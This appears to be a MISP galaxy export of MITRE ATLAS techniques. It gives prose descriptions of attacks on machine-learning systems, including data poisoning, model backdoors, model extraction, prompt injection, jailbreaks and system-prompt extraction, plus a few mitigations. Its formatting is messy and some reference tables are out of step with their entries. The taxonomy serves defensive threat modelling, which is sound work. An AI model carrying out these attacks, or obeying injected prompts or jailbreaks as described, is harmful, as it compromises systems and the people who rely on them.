<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://atlas.mitre.org/techniques/AML.T0006">https://atlas.mitre.org/techniques/AML.T0006</a></td>
</tr>
</tbody>
</table>

Discover ML Artifacts

Adversaries may search private sources to identify machine learning artifacts that exist on the system and gather information about them. These artifacts can include the software stack used to
train and deploy models, training and testing data management systems, container registries, software repositories, and model zoos.

This information can be used to identify targets for further collection, exfiltration, or disruption, and to tailor and improve attacks.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Discover ML Artifacts"*

**Table 4756. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://atlas.mitre.org/techniques/AML.T0007">https://atlas.mitre.org/techniques/AML.T0007</a></td>
</tr>
</tbody>
</table>

## Acquire Infrastructure

Adversaries may buy, lease, or rent infrastructure for use throughout their operation. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, mobile devices, and third-party web services. Free resources may also be used, but they are typically limited.

Use of these infrastructure solutions allows an adversary to stage, launch, and execute an operation. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contact to third-party web services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Acquire Infrastructure"*

**Table 4757. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://atlas.mitre.org/techniques/AML.T0008">https://atlas.mitre.org/techniques/AML.T0008</a></td>
</tr>
</tbody>
</table>

## ML Development Workspaces

Developing and staging machine learning attacks often requires expensive compute resources. Adversaries may need access to one or many GPUs in order to develop an attack. They may try to anonymously use free resources such as Google Colaboratory, or cloud resources such as AWS, Azure, or Google Cloud as an efficient way to stand up temporary resources to conduct operations. Multiple workspaces may be used to avoid detection.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="ML Development Workspaces"*

**Table 4758. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://atlas.mitre.org/techniques/AML.T0008.000">https://atlas.mitre.org/techniques/AML.T0008.000</a></td>
</tr>
</tbody>
</table>
Consumer Hardware

Adversaries may acquire consumer hardware to conduct their attacks. Owning the hardware provides the adversary with complete control of the environment. These devices can be hard to trace.

The tag is: misp-galaxy:mitre-atlas-attack-pattern="Consumer Hardware"

ML Supply Chain Compromise

Adversaries may gain initial access to a system by compromising the unique portions of the ML supply chain. This could include [GPU Hardware](https://atlas.mitre.org/techniques/AML.T0010.000), [Data](https://atlas.mitre.org/techniques/AML.T0010.002) and its annotations, parts of the ML [ML Software](https://atlas.mitre.org/techniques/AML.T0010.001) stack, or the [Model](https://atlas.mitre.org/techniques/AML.T0010.003) itself. In some instances the attacker will need secondary access to fully carry out an attack using compromised components of the supply chain.

The tag is: misp-galaxy:mitre-atlas-attack-pattern="ML Supply Chain Compromise"

GPU Hardware

Most machine learning systems require access to certain specialized hardware, typically GPUs. Adversaries can target machine learning systems by specifically targeting the GPU supply chain.

The tag is: misp-galaxy:mitre-atlas-attack-pattern="GPU Hardware"

ML Software

Most machine learning systems rely on a limited set of machine learning frameworks. An adversary could get access to a large number of machine learning systems through a compromise of one of their supply chains. Many machine learning projects also rely on other open source implementations of various algorithms. These can also be compromised in a targeted way to get access to specific systems.
Data

Data is a key vector of supply chain compromise for adversaries. Every machine learning project will require some form of data. Many rely on large open source datasets that are publicly available. An adversary could rely on compromising these sources of data. The malicious data could be a result of [Poison Training Data](/techniques/AML.T0020) or include traditional malware.

An adversary can also target private datasets in the labeling phase. The creation of private datasets will often require the hiring of outside labeling services. An adversary can poison a dataset by modifying the labels being generated by the labeling service.

The tag is: `misp-galaxy:mitre-atlas-attack-pattern="Data"`

Model

Machine learning systems often rely on open sourced models in various ways. Most commonly, the victim organization may be using these models for fine tuning. These models will be downloaded from an external source and then used as the base for the model as it is tuned on a smaller, private dataset. Loading models often requires executing some saved code in the form of a saved model file. These can be compromised with traditional malware, or through some adversarial machine learning techniques.

The tag is: `misp-galaxy:mitre-atlas-attack-pattern="Model"`

User Execution

An adversary may rely upon specific actions by a user in order to gain execution. Users may inadvertently execute unsafe code introduced via [ML Supply Chain Compromise](/techniques/AML.T0010). Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link.
Unsafe ML Artifacts

Adversaries may develop unsafe ML artifacts that when executed have a deleterious effect. The adversary can use this technique to establish persistent access to systems. These models may be introduced via a [ML Supply Chain Compromise](https://atlas.mitre.org/techniques/AML.T0010).

Serialization of models is a popular technique for model storage, transfer, and loading. However, this format without proper checking presents an opportunity for code execution.

Valid Accounts

Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access. Credentials may take the form of usernames and passwords of individual user accounts or API keys that provide access to various ML resources and services.

Compromised credentials may provide access to additional ML artifacts and allow the adversary to perform [Discover ML Artifacts](https://atlas.mitre.org/techniques/AML.T0007). Compromised credentials may also grant adversary increased privileges such as write access to ML artifacts used during development or production.

Discover ML Model Ontology

Adversaries may discover the ontology of a machine learning model's output space, for example, the types of objects a model can detect. The adversary may discovery the ontology by repeated queries to the model, forcing it to enumerate its output space. Or the ontology may be discovered in a configuration file or in documentation about the model.

The model ontology helps the adversary understand how the model is being used by the victim. It is
useful to the adversary in creating targeted attacks.

The tag is: `misp-galaxy:mitre-atlas-attack-pattern="Discover ML Model Ontology"

**Table 4768. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://atlas.mitre.org/techniques/AML.T0013">https://atlas.mitre.org/techniques/AML.T0013</a></td>
</tr>
</tbody>
</table>

**Discover ML Model Family**

Adversaries may discover the general family of model. General information about the model may be revealed in documentation, or the adversary may used carefully constructed examples and analyze the model's responses to categorize it.

Knowledge of the model family can help the adversary identify means of attacking the model and help tailor the attack.

The tag is: `misp-galaxy:mitre-atlas-attack-pattern="Discover ML Model Family"

**Table 4769. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://atlas.mitre.org/techniques/AML.T0014">https://atlas.mitre.org/techniques/AML.T0014</a></td>
</tr>
</tbody>
</table>

**Evade ML Model**

Adversaries can [Craft Adversarial Data](/techniques/AML.T0043) that prevent a machine learning model from correctly identifying the contents of the data. This technique can be used to evade a downstream task where machine learning is utilized. The adversary may evade machine learning based virus/malware detection, or network scanning towards the goal of a traditional cyber attack.

The tag is: `misp-galaxy:mitre-atlas-attack-pattern="Evade ML Model"

**Obtain Capabilities**

Adversaries may search for and obtain software capabilities for use in their operations. Capabilities may be specific to ML-based attacks [Adversarial ML Attack Implementations](/techniques/AML.T0016.000) or generic software tools repurposed for malicious intent ([Software Tools](/techniques/AML.T0016.001)). In both instances, an adversary may modify or customize the capability to aid in targeting a particular ML system.

The tag is: `misp-galaxy:mitre-atlas-attack-pattern="Obtain Capabilities"
Adversarial ML Attack Implementations

Adversaries may search for existing open source implementations of machine learning attacks. The research community often publishes their code for reproducibility and to further future research. Libraries intended for research purposes, such as CleverHans, the Adversarial Robustness Toolbox, and FoolBox, can be weaponized by an adversary. Adversaries may also obtain and use tools that were not originally designed for adversarial ML attacks as part of their attack.

The tag is: misp-galaxy:mitre-atlas-attack-pattern="Adversarial ML Attack Implementations"

Software Tools

Adversaries may search for and obtain software tools to support their operations. Software designed for legitimate use may be repurposed by an adversary for malicious intent. An adversary may modify or customize software tools to achieve their purpose. Software tools used to support attacks on ML systems are not necessarily ML-based themselves.

The tag is: misp-galaxy:mitre-atlas-attack-pattern="Software Tools"

Develop Capabilities

Adversaries may develop their own capabilities to support operations. This process encompasses identifying requirements, building solutions, and deploying capabilities. Capabilities used to support attacks on ML systems are not necessarily ML-based themselves. Examples include setting up websites with adversarial information or creating Jupyter notebooks with obfuscated exfiltration code.

The tag is: misp-galaxy:mitre-atlas-attack-pattern="Develop Capabilities"
Adversarial ML Attacks

Adversaries may develop their own adversarial attacks. They may leverage existing libraries as a starting point ([Adversarial ML Attack Implementations](/techniques/AML.T0016.000)). They may implement ideas described in public research papers or develop custom made attacks for the victim model.

The tag is: misp-galaxy:mitre-atlas-attack-pattern="Adversarial ML Attacks"

Table 4775. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://atlas.mitre.org/techniques/AML.T0017.000">https://atlas.mitre.org/techniques/AML.T0017.000</a></td>
</tr>
</tbody>
</table>

Backdoor ML Model

Adversaries may introduce a backdoor into a ML model. A backdoored model operates performs as expected under typical conditions, but will produce the adversary's desired output when a trigger is introduced to the input data. A backdoored model provides the adversary with a persistent artifact on the victim system. The embedded vulnerability is typically activated at a later time by data samples with an [Insert Backdoor Trigger](/techniques/AML.T0043.004)

The tag is: misp-galaxy:mitre-atlas-attack-pattern="Backdoor ML Model"

Table 4776. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://atlas.mitre.org/techniques/AML.T0018">https://atlas.mitre.org/techniques/AML.T0018</a></td>
</tr>
</tbody>
</table>

Poison ML Model

Adversaries may introduce a backdoor by training the model poisoned data, or by interfering with its training process. The model learns to associate a adversary defined trigger with the adversary's desired output.

The tag is: misp-galaxy:mitre-atlas-attack-pattern="Poison ML Model"

Table 4777. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://atlas.mitre.org/techniques/AML.T0018.000">https://atlas.mitre.org/techniques/AML.T0018.000</a></td>
</tr>
</tbody>
</table>

Inject Payload

Adversaries may introduce a backdoor into a model by injecting a payload into the model file. The payload detects the presence of the trigger and bypasses the model, instead producing the adversary's desired output.
Publish Poisoned Datasets

Adversaries may [Poison Training Data](/techniques/AML.T0020) and publish it to a public location. The poisoned dataset may be a novel dataset or a poisoned variant of an existing open source dataset. This data may be introduced to a victim system via [ML Supply Chain Compromise](/techniques/AML.T0010).

Poison Training Data

Adversaries may attempt to poison datasets used by a ML model by modifying the underlying data or its labels. This allows the adversary to embed vulnerabilities in ML models trained on the data that may not be easily detectable. Data poisoning attacks may or may not require modifying the labels. The embedded vulnerability is activated at a later time by data samples with an [Insert Backdoor Trigger](/techniques/AML.T0043.004)

Poisoned data can be introduced via [ML Supply Chain Compromise](/techniques/AML.T0010) or the data may be poisoned after the adversary gains [Initial Access](/tactics/AML.TA0004) to the system.

Establish Accounts

Adversaries may create accounts with various services for use in targeting, to gain access to resources needed in [ML Attack Staging](/tactics/AML.TA0001), or for victim impersonation.

Table 4778. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://atlas.mitre.org/techniques/AML.T0018.001">https://atlas.mitre.org/techniques/AML.T0018.001</a></td>
<td></td>
</tr>
</tbody>
</table>

Table 4779. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://atlas.mitre.org/techniques/AML.T0019">https://atlas.mitre.org/techniques/AML.T0019</a></td>
<td></td>
</tr>
</tbody>
</table>

Table 4780. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://atlas.mitre.org/techniques/AML.T0020">https://atlas.mitre.org/techniques/AML.T0020</a></td>
<td></td>
</tr>
</tbody>
</table>

Table 4781. Table References
Exfiltration via ML Inference API

Adversaries may exfiltrate private information via [ML Model Inference API Access](https://atlas.mitre.org/techniques/AML.T0040). ML Models have been shown leak private information about their training data (e.g. [Infer Training Data Membership](https://atlas.mitre.org/techniques/AML.T0024.000), [Invert ML Model](https://atlas.mitre.org/techniques/AML.T0024.001)). The model itself may also be extracted ([Extract ML Model](https://atlas.mitre.org/techniques/AML.T0024.002)) for the purposes of [ML Intellectual Property Theft](https://atlas.mitre.org/techniques/AML.T0048.004).

Exfiltration of information relating to private training data raises privacy concerns. Private training data may include personally identifiable information, or other protected data.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Exfiltration via ML Inference API"*

---

Infer Training Data Membership

Adversaries may infer the membership of a data sample in its training set, which raises privacy concerns. Some strategies make use of a shadow model that could be obtained via [Train Proxy via Replication](https://atlas.mitre.org/techniques/AML.T0005.001), others use statistics of model prediction scores.

This can cause the victim model to leak private information, such as PII of those in the training set or other forms of protected IP.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Infer Training Data Membership"*

---

Invert ML Model

Machine learning models' training data could be reconstructed by exploiting the confidence scores that are available via an inference API. By querying the inference API strategically, adversaries can back out potentially private information embedded within the training data. This could lead to privacy violations if the attacker can reconstruct the data of sensitive features used in the algorithm.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Invert ML Model"*
Extract ML Model

Adversaries may extract a functional copy of a private model. By repeatedly querying the victim’s [ML Model Inference API Access](https://atlas.mitre.org/techniques/AML.T0040), the adversary can collect the target model's inferences into a dataset. The inferences are used as labels for training a separate model offline that will mimic the behavior and performance of the target model.

Adversaries may extract the model to avoid paying per query in a machine learning as a service setting. Model extraction is used for [ML Intellectual Property Theft](https://atlas.mitre.org/techniques/AML.T0048.004).

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Extract ML Model"*

Exfiltration via Cyber Means

Adversaries may exfiltrate ML artifacts or other information relevant to their goals via traditional cyber means.

See the ATT&CK [Exfiltration](https://attack.mitre.org/tactics/TA0010/) tactic for more information.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Exfiltration via Cyber Means"*

Denial of ML Service

Adversaries may target machine learning systems with a flood of requests for the purpose of degrading or shutting down the service. Since many machine learning systems require significant amounts of specialized compute, they are often expensive bottlenecks that can become overloaded. Adversaries can intentionally craft inputs that require heavy amounts of useless compute from the machine learning system.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Denial of ML Service"*
Erode ML Model Integrity

Adversaries may degrade the target model's performance with adversarial data inputs to erode confidence in the system over time. This can lead to the victim organization wasting time and money both attempting to fix the system and performing the tasks it was meant to automate by hand.

The tag is: misp-galaxy:mitre-atlas-attack-pattern="Erode ML Model Integrity"

Cost Harvesting

Adversaries may target different machine learning services to send useless queries or computationally expensive inputs to increase the cost of running services at the victim organization. Sponge examples are a particular type of adversarial data designed to maximize energy consumption and thus operating cost.

The tag is: misp-galaxy:mitre-atlas-attack-pattern="Cost Harvesting"

ML Artifact Collection

Adversaries may collect ML artifacts for [Exfiltration](/tactics/AML.TA0010) or for use in [ML Attack Staging](/tactics/AML.TA0001). ML artifacts include models and datasets as well as other telemetry data produced when interacting with a model.

The tag is: misp-galaxy:mitre-atlas-attack-pattern="ML Artifact Collection"

Data from Information Repositories

Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries
in further objectives, or direct access to the target information.

Information stored in a repository may vary based on the specific instance or environment. Specific common information repositories include Sharepoint, Confluence, and enterprise databases such as SQL Server.

The tag is: `misp-galaxy:mitre-atlas-attack-pattern="Data from Information Repositories"`

### Data from Local System

Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.

This can include basic fingerprinting information and sensitive data such as ssh keys.

The tag is: `misp-galaxy:mitre-atlas-attack-pattern="Data from Local System"`

### ML Model Inference API Access

Adversaries may gain access to a model via legitimate access to the inference API. Inference API access can be a source of information to the adversary ([Discover ML Model Ontology](/techniques/AML.T0013)), [Discover ML Model Family](/techniques/AML.T0014)), a means of staging the attack ([Verify Attack](/techniques/AML.T0042)), [Craft Adversarial Data](/techniques/AML.T0043)), or for introducing data to the target system for Impact ([Evade ML Model](/techniques/AML.T0015)), [Erode ML Model Integrity](/techniques/AML.T0031)).

The tag is: `misp-galaxy:mitre-atlas-attack-pattern="ML Model Inference API Access"`

### Physical Environment Access

In addition to the attacks that take place purely in the digital domain, adversaries may also exploit the physical environment for their attacks. If the model is interacting with data collected from the real world in some way, the adversary can influence the model through access to wherever the data is being collected. By modifying the data in the collection process, the adversary can perform
modified versions of attacks designed for digital access.

The tag is: \textit{misp-galaxy:mitre-atlas-attack-pattern="Physical Environment Access"}

\textit{Table 4794. Table References}

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>\url{<a href="https://atlas.mitre.org/techniques/AML.T0041%7D">https://atlas.mitre.org/techniques/AML.T0041}</a></td>
<td></td>
</tr>
</tbody>
</table>

\textbf{Verify Attack}

Adversaries can verify the efficacy of their attack via an inference API or access to an offline copy of the target model. This gives the adversary confidence that their approach works and allows them to carry out the attack at a later time of their choosing. The adversary may verify the attack once but use it against many edge devices running copies of the target model. The adversary may verify their attack digitally, then deploy it in the [Physical Environment Access](/techniques/AML.T0041) at a later time. Verifying the attack may be hard to detect since the adversary can use a minimal number of queries or an offline copy of the model.

The tag is: \textit{misp-galaxy:mitre-atlas-attack-pattern="Verify Attack"}

\textit{Table 4795. Table References}

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>\url{<a href="https://atlas.mitre.org/techniques/AML.T0042%7D">https://atlas.mitre.org/techniques/AML.T0042}</a></td>
<td></td>
</tr>
</tbody>
</table>

\textbf{Craft Adversarial Data}

Adversarial data are inputs to a machine learning model that have been modified such that they cause the adversary's desired effect in the target model. Effects can range from misclassification, to missed detections, to maximising energy consumption. Typically, the modification is constrained in magnitude or location so that a human still perceives the data as if it were unmodified, but human perceptibility may not always be a concern depending on the adversary’s intended effect. For example, an adversarial input for an image classification task is an image the machine learning model would misclassify, but a human would still recognize as containing the correct class.

Depending on the adversary's knowledge of and access to the target model, the adversary may use different classes of algorithms to develop the adversarial example such as [White-Box Optimization](/techniques/AML.T0043.000), [Black-Box Optimization](/techniques/AML.T0043.001), [Black-Box Transfer](/techniques/AML.T0043.002), or [Manual Modification](/techniques/AML.T0043.003).

The adversary may [Verify Attack](/techniques/AML.T0042) their approach works if they have white-box or inference API access to the model. This allows the adversary to gain confidence their attack is effective "live" environment where their attack may be noticed. They can then use the attack at a later time to accomplish their goals. An adversary may optimize adversarial examples for [Evade ML Model](/techniques/AML.T0015), or to [Erode ML Model Integrity](/techniques/AML.T0031).
White-Box Optimization

In White-Box Optimization, the adversary has full access to the target model and optimizes the adversarial example directly. Adversarial examples trained in this manner are most effective against the target model.

Black-Box Optimization

In Black-Box attacks, the adversary has black-box (i.e. [ML Model Inference API Access](/techniques/AML.T0040) via API access) access to the target model. With black-box attacks, the adversary may be using an API that the victim is monitoring. These attacks are generally less effective and require more inferences than [White-Box Optimization](/techniques/AML.T0043.000) attacks, but they require much less access.

Black-Box Transfer

In Black-Box Transfer attacks, the adversary uses one or more proxy models (trained via [Create Proxy ML Model](/techniques/AML.T0005) or [Train Proxy via Replication](/techniques/AML.T0005.001)) models they have full access to and are representative of the target model. The adversary uses [White-Box Optimization](/techniques/AML.T0043.000) on the proxy models to generate adversarial examples. If the set of proxy models are close enough to the target model, the adversarial example should generalize from one to another. This means that an attack that works for the proxy models will likely then work for the target model. If the adversary has [ML Model Inference API Access](/techniques/AML.T0040), they may use this [Verify Attack](/techniques/AML.T0042) that the attack is working and incorporate that information into their training process.
Manual Modification

Adversaries may manually modify the input data to craft adversarial data. They may use their knowledge of the target model to modify parts of the data they suspect helps the model in performing its task. The adversary may use trial and error until they are able to verify they have a working adversarial input.

Insert Backdoor Trigger

The adversary may add a perceptual trigger into inference data. The trigger may be imperceptible or non-obvious to humans. This technique is used in conjunction with [Poison ML Model](https://atlas.mitre.org/techniques/AML.T0018.000) and allows the adversary to produce their desired effect in the target model.

Full ML Model Access

Adversaries may gain full "white-box" access to a machine learning model. This means the adversary has complete knowledge of the model architecture, its parameters, and class ontology. They may exfiltrate the model to [Craft Adversarial Data](https://atlas.mitre.org/techniques/AML.T0043) and [Verify Attack](https://atlas.mitre.org/techniques/AML.T0042) in an offline where it is hard to detect their behavior.
Spamming ML System with Chaff Data

Adversaries may spam the machine learning system with chaff data that causes increase in the number of detections. This can cause analysts at the victim organization to waste time reviewing and correcting incorrect inferences.

The tag is: `misp-galaxy:mitre-atlas-attack-pattern="Spamming ML System with Chaff Data"`

Table 4803. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://atlas.mitre.org/techniques/AML.T0046">https://atlas.mitre.org/techniques/AML.T0046</a></td>
</tr>
</tbody>
</table>

ML-Enabled Product or Service

Adversaries may use a product or service that uses machine learning under the hood to gain access to the underlying machine learning model. This type of indirect model access may reveal details of the ML model or its inferences in logs or metadata.

The tag is: `misp-galaxy:mitre-atlas-attack-pattern="ML-Enabled Product or Service"`

Table 4804. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://atlas.mitre.org/techniques/AML.T0047">https://atlas.mitre.org/techniques/AML.T0047</a></td>
</tr>
</tbody>
</table>

External Harms

Adversaries may abuse their access to a victim system and use its resources or capabilities to further their goals by causing harms external to that system. These harms could affect the organization (e.g. Financial Harm, Reputational Harm), its users (e.g. User Harm), or the general public (e.g. Societal Harm).

The tag is: `misp-galaxy:mitre-atlas-attack-pattern="External Harms"`

Table 4805. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://atlas.mitre.org/techniques/AML.T0048">https://atlas.mitre.org/techniques/AML.T0048</a></td>
</tr>
</tbody>
</table>

Financial Harm

Financial harm involves the loss of wealth, property, or other monetary assets due to theft, fraud or forgery, or pressure to provide financial resources to the adversary.

The tag is: `misp-galaxy:mitre-atlas-attack-pattern="Financial Harm"`

Table 4806. Table References
Reputational Harm

Reputational harm involves a degradation of public perception and trust in organizations. Examples of reputation-harming incidents include scandals or false impersonations.

The tag is: misp-galaxy:mitre-atlas-attack-pattern="Reputational Harm"

Table 4807. Table References

Links
https://atlas.mitre.org/techniques/AML.T0048.001

Societal Harm

Societal harms might generate harmful outcomes that reach either the general public or specific vulnerable groups such as the exposure of children to vulgar content.

The tag is: misp-galaxy:mitre-atlas-attack-pattern="Societal Harm"

Table 4808. Table References

Links
https://atlas.mitre.org/techniques/AML.T0048.002

User Harm

User harms may encompass a variety of harm types including financial and reputational that are directed at or felt by individual victims of the attack rather than at the organization level.

The tag is: misp-galaxy:mitre-atlas-attack-pattern="User Harm"

Table 4809. Table References

Links
https://atlas.mitre.org/techniques/AML.T0048.003

ML Intellectual Property Theft

Adversaries may exfiltrate ML artifacts to steal intellectual property and cause economic harm to the victim organization.

Proprietary training data is costly to collect and annotate and may be a target for [Exfiltration](/tactics/AML.TA0010) and theft.

MLaaS providers charge for use of their API. An adversary who has stolen a model via
[Exfiltration](/tactics/AML.TA0010) or via [Extract ML Model](/techniques/AML.T0024.002) now has unlimited use of that service without paying the owner of the intellectual property.

The tag is: `misp-galaxy:mitre-atlas-attack-pattern="ML Intellectual Property Theft"`

### Exploit Public-Facing Application

Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other applications with Internet accessible open sockets, such as web servers and related services.

The tag is: `misp-galaxy:mitre-atlas-attack-pattern="Exploit Public-Facing Application"`

### Command and Scripting Interpreter

Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell.

There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic.

Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.

The tag is: `misp-galaxy:mitre-atlas-attack-pattern="Command and Scripting Interpreter"`

Table 4810. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://atlas.mitre.org/techniques/AML.T0048.004">https://atlas.mitre.org/techniques/AML.T0048.004</a></td>
</tr>
</tbody>
</table>

Table 4811. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://atlas.mitre.org/techniques/AML.T0049">https://atlas.mitre.org/techniques/AML.T0049</a></td>
</tr>
</tbody>
</table>

Table 4812. Table References
LLM Prompt Injection

An adversary may craft malicious prompts as inputs to an LLM that cause the LLM to act in unintended ways. These "prompt injections" are often designed to cause the model to ignore aspects of its original instructions and follow the adversary's instructions instead.

Prompt Injections can be an initial access vector to the LLM that provides the adversary with a foothold to carry out other steps in their operation. They may be designed to bypass defenses in the LLM, or allow the adversary to issue privileged commands. The effects of a prompt injection can persist throughout an interactive session with an LLM.

Malicious prompts may be injected directly by the adversary (Direct) either to leverage the LLM to generate harmful content or to gain a foothold on the system and lead to further effects. Prompts may also be injected indirectly when as part of its normal operation the LLM ingests the malicious prompt from another data source (Indirect). This type of injection can be used by the adversary to a foothold on the system or to target the user of the LLM.

The tag is: misp-galaxy:mitre-atlas-attack-pattern="LLM Prompt Injection"

Direct

An adversary may inject prompts directly as a user of the LLM. This type of injection may be used by the adversary to gain a foothold in the system or to misuse the LLM itself, as for example to generate harmful content.

The tag is: misp-galaxy:mitre-atlas-attack-pattern="Direct"

Indirect

An adversary may inject prompts indirectly via separate data channel ingested by the LLM such as include text or multimedia pulled from databases or websites. These malicious prompts may be hidden or obfuscated from the user. This type of injection may be used by the adversary to gain a foothold in the system or to target an unwitting user of the system.
Phishing

Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.

Generative AI, including LLMs that generate synthetic text, visual deepfakes of faces, and audio deepfakes of speech, is enabling adversaries to scale targeted phishing campaigns. LLMs can interact with users via text conversations and can be programmed with a meta prompt to phish for sensitive information. Deepfakes can be used in impersonation as an aid to phishing.

Spearphishing via Social Engineering LLM

Adversaries may turn LLMs into targeted social engineers. LLMs are capable of interacting with users via text conversations. They can be instructed by an adversary to seek sensitive information from a user and act as effective social engineers. They can be targeted towards particular personas defined by the adversary. This allows adversaries to scale spearphishing efforts and target individuals to reveal private information such as credentials to privileged systems.

LLM Plugin Compromise

Adversaries may use their access to an LLM that is part of a larger system to compromise connected plugins. LLMs are often connected to other services or resources via plugins to increase their capabilities. Plugins may include integrations with other applications, access to public or private data sources, and the ability to execute code.
This may allow adversaries to execute API calls to integrated applications or plugins, providing the adversary with increased privileges on the system. Adversaries may take advantage of connected data sources to retrieve sensitive information. They may also use an LLM integrated with a command or script interpreter to execute arbitrary instructions.

The tag is: `misp-galaxy:mitre-atlas-attack-pattern="LLM Plugin Compromise"`

### LLM Jailbreak

An adversary may use a carefully crafted [LLM Prompt Injection](https://atlas.mitre.org/techniques/AML.T0051) designed to place LLM in a state in which it will freely respond to any user input, bypassing any controls, restrictions, or guardrails placed on the LLM. Once successfully jailbroken, the LLM can be used in unintended ways by the adversary.

The tag is: `misp-galaxy:mitre-atlas-attack-pattern="LLM Jailbreak"`

### Unsecured Credentials

Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. bash history), environment variables, operating system or application-specific repositories (e.g. Credentials in Registry), or other specialized files/artifacts (e.g. private keys).

The tag is: `misp-galaxy:mitre-atlas-attack-pattern="Unsecured Credentials"`

### LLM Meta Prompt Extraction

An adversary may induce an LLM to reveal its initial instructions, or “meta prompt.” Discovering the meta prompt can inform the adversary about the internal workings of the system. Prompt engineering is an emerging field that requires expertise and exfiltrating the meta prompt can prompt in order to steal valuable intellectual property.

The tag is: `misp-galaxy:mitre-atlas-attack-pattern="LLM Meta Prompt Extraction"`
LLM Data Leakage

Adversaries may craft prompts that induce the LLM to leak sensitive information. This can include private user data or proprietary information. The leaked information may come from proprietary training data, data sources the LLM is connected to, or information from other users of the LLM.

The tag is: misp-galaxy:mitre-atlas-attack-pattern="LLM Data Leakage"

MITRE ATLAS Course of Action

MITRE ATLAS Mitigation - Adversarial Threat Landscape for Artificial-Intelligence Systems.

MITRE ATLAS Course of Action is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

authors
MITRE

Limit Release of Public Information

Limit the public release of technical information about the machine learning stack used in an organization's products or services. Technical knowledge of how machine learning is used can be leveraged by adversaries to perform targeting and tailor attacks to the target system. Additionally, consider limiting the release of organizational information - including physical locations, researcher names, and department structures - from which technical details such as machine learning techniques, model architectures, or datasets may be inferred.

The tag is: misp-galaxy:mitre-atlas-course-of-action="Limit Release of Public Information"

View relationships graph

Limit Release of Public Information has relationships with:

- mitigates: misp-galaxy:mitre-atlas-attack-pattern="Search Victim-Owned Websites"
Limit Model Artifact Release

Limit public release of technical project details including data, algorithms, model architectures, and model checkpoints that are used in production, or that are representative of those used in production.

The tag is: misp-galaxy:mitre-atlas-course-of-action="Limit Model Artifact Release"

Passive ML Output Obfuscation

Decreasing the fidelity of model outputs provided to the end user can reduce an adversary's ability to extract information about the model and optimize attacks for the model.

The tag is: misp-galaxy:mitre-atlas-course-of-action="Passive ML Output Obfuscation"
